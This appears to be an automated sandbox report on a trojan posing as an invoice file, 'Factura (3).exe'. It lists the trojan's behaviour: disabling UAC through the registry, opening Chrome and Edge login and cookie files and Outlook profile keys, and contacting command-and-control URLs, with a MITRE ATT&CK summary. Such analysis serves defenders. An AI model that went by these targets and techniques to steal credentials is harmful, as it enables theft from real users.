Source: C:\Users\user\Desktop\Factura (3).exe	Code function: GetLocaleInfoW,	6_2_00007FF734103E74
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	6_2_00007FF734103768
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00007FF734103FCC
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: GetLocaleInfoW,	6_2_00007FF73410407C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: EnumSystemLocalesW,	6_2_00007FF7340F8150
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00007FF7341041B0
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: EnumSystemLocalesW,	6_2_00007FF734103AC4
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: EnumSystemLocalesW,	6_2_00007FF734103B94
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_00007FF734103C2C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Factura (3).exe

Code function: 6_2_00007FF7340F267C GetSystemTimeAsFileTime,

6_2_00007FF7340F267C

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\chkdsk.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	512 Process Injection	2 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	141 Virtualization/Sandbox Evasion	LSASS Memory	261 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	512 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Factura (3).exe	34%	ReversingLabs	Win64.Trojan.Swotter

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://www.deaybrid.info/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=Z7d5vO3PiPWE/zeG4Btin5s4Ysi+TbPypBLuOElxuuV1BOUgEEq9TvThZhsN+4G3m8UtXtkpFAILmOKtc08UqI4ilaLC+vP+XuzsWsJjJ3qBfbOqHA==	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP29Gns/tznWejtp74GMksy59FodZgvEjUcMF+Pj4nBc1gMpqWDMKZB4BsRbutJiIudg/fevYEHw==	0%	Avira URL Cloud	safe
http://www.zwervertjes.be/mcz6/?1Joh=qn3zkYHztMKe8mzhAMvQ2dUsB2FJeuQFLz3cQj0k4MJfJlhRJYX+G77tvqK2UZX2Wgv5bTm3q1t3YjrK87HOZU6owkhcBiV/M9JN6GagiG0Bu0xexw==&-xl=hBllB6kp4D1dBFK	0%	Avira URL Cloud	safe
http://www.carliente.com/mcz6/	0%	Avira URL Cloud	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.carliente.com/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=t2ltNu02BWCxFJkDVXGm6lgSI2VyyVBo25Fvtgz0OT6/eZJtaFugFEP80bfDefIKNSUaDat+4U4ei33vOp33fhcSA/1GWguFcrikpDXwe5bKKbqlQA==	0%	Avira URL Cloud	safe
http://www.walletweb367.top/mcz6/?1Joh=+LASaW8sLlti/Y5moa0QLjD+NRT0ctxfunbDEh0FE1w8Tz+VHrtWZSUefKogmen1MiEzwZmsfiIE4qB4y6Vq9cD+KipKFAhgCA6j04PZFMUkTXmsCQ==&-xl=hBllB6kp4D1dBFK	0%	Avira URL Cloud	safe
http://www.lenslaser.com/mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK	0%	Avira URL Cloud	safe
http://www.dty377.com/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=D5+pF2/O5onkRgswN5mCVTTvHr6l6Q5GMQdzYj/9XZpkwzi9ddj0crwo6H79wSPqAuXYaDgjxYH65NOwo1DiEBBB3RCutNlD9KPyQG6aNo0jRjsCiw==	0%	Avira URL Cloud	safe
https://www.fastmail.help/hc/en-us/articles/1500000280141	0%	Avira URL Cloud	safe
http://www.allinone24.shop/mcz6/	0%	Avira URL Cloud	safe
http://www.zwervertjes.be	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.lenslaser.com/mcz6/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://www.walletweb367.top/mcz6/	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://www.fastmailusercontent.com/filestorage/css/main.css	0%	Avira URL Cloud	safe
http://www.deaybrid.info/mcz6/	0%	Avira URL Cloud	safe
https://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP2	0%	Avira URL Cloud	safe
http://www.gledingakademiet.no/mcz6/	0%	Avira URL Cloud	safe
http://www.zwervertjes.be/mcz6/	0%	Avira URL Cloud	safe
https://www.strato.de	0%	Avira URL Cloud	safe
http://www.celebration24.co.uk/mcz6/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
carliente.com	217.160.0.111	true	true	unknown
lenslaser.com	162.241.216.140	true	true	unknown
allinonestore-567794-react-native.b567794.prod.eastus.az.svc.builder.ai	57.151.38.169	true	true	unknown
www.deaybrid.info	162.0.237.22	true	true	unknown
www.gledingakademiet.no	104.37.39.71	true	true	unknown
www.celebration24.co.uk	103.168.172.37	true	true	unknown
www.zwervertjes.be	199.59.243.225	true	true	unknown
dty377.com	3.33.130.190	true	true	unknown
www.walletweb367.top	91.195.240.123	true	true	unknown
www.cookedatthebottom.com	unknown	unknown	true	unknown
www.prizesupermarket.com	unknown	unknown	true	unknown
www.alfaspa.net	unknown	unknown	true	unknown
www.polhi.lol	unknown	unknown	true	unknown
www.dty377.com	unknown	unknown	true	unknown
www.lenslaser.com	unknown	unknown	true	unknown
www.jrksa.info	unknown	unknown	true	unknown
www.maerealtysg.com	unknown	unknown	true	unknown
www.allinone24.shop	unknown	unknown	true	unknown
www.carliente.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP29Gns/tznWejtp74GMksy59FodZgvEjUcMF+Pj4nBc1gMpqWDMKZB4BsRbutJiIudg/fevYEHw==	true	Avira URL Cloud: safe	unknown
http://www.deaybrid.info/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=Z7d5vO3PiPWE/zeG4Btin5s4Ysi+TbPypBLuOElxuuV1BOUgEEq9TvThZhsN+4G3m8UtXtkpFAILmOKtc08UqI4ilaLC+vP+XuzsWsJjJ3qBfbOqHA==	true	Avira URL Cloud: safe	unknown
http://www.carliente.com/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.zwervertjes.be/mcz6/?1Joh=qn3zkYHztMKe8mzhAMvQ2dUsB2FJeuQFLz3cQj0k4MJfJlhRJYX+G77tvqK2UZX2Wgv5bTm3q1t3YjrK87HOZU6owkhcBiV/M9JN6GagiG0Bu0xexw==&-xl=hBllB6kp4D1dBFK	true	Avira URL Cloud: safe	unknown
http://www.lenslaser.com/mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK	true	Avira URL Cloud: safe	unknown
http://www.walletweb367.top/mcz6/?1Joh=+LASaW8sLlti/Y5moa0QLjD+NRT0ctxfunbDEh0FE1w8Tz+VHrtWZSUefKogmen1MiEzwZmsfiIE4qB4y6Vq9cD+KipKFAhgCA6j04PZFMUkTXmsCQ==&-xl=hBllB6kp4D1dBFK	true	Avira URL Cloud: safe	unknown
http://www.carliente.com/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=t2ltNu02BWCxFJkDVXGm6lgSI2VyyVBo25Fvtgz0OT6/eZJtaFugFEP80bfDefIKNSUaDat+4U4ei33vOp33fhcSA/1GWguFcrikpDXwe5bKKbqlQA==	true	Avira URL Cloud: safe	unknown
http://www.dty377.com/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=D5+pF2/O5onkRgswN5mCVTTvHr6l6Q5GMQdzYj/9XZpkwzi9ddj0crwo6H79wSPqAuXYaDgjxYH65NOwo1DiEBBB3RCutNlD9KPyQG6aNo0jRjsCiw==	true	Avira URL Cloud: safe	unknown
http://www.allinone24.shop/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.lenslaser.com/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.walletweb367.top/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.deaybrid.info/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.zwervertjes.be/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.gledingakademiet.no/mcz6/	true	Avira URL Cloud: safe	unknown
http://www.celebration24.co.uk/mcz6/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.17.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.fastmail.help/hc/en-us/articles/1500000280141	chkdsk.exe, 00000017.00000002.3766720594.0000000006D78000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	chkdsk.exe, 00000017.00000002.3768491954.0000000007F10000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766720594.000000000722E000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zwervertjes.be	KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3767966509.00000000056FF000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.fastmailusercontent.com/filestorage/css/main.css	chkdsk.exe, 00000017.00000002.3766720594.0000000006D78000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP2	chkdsk.exe, 00000017.00000002.3766720594.00000000060E8000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000003968000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
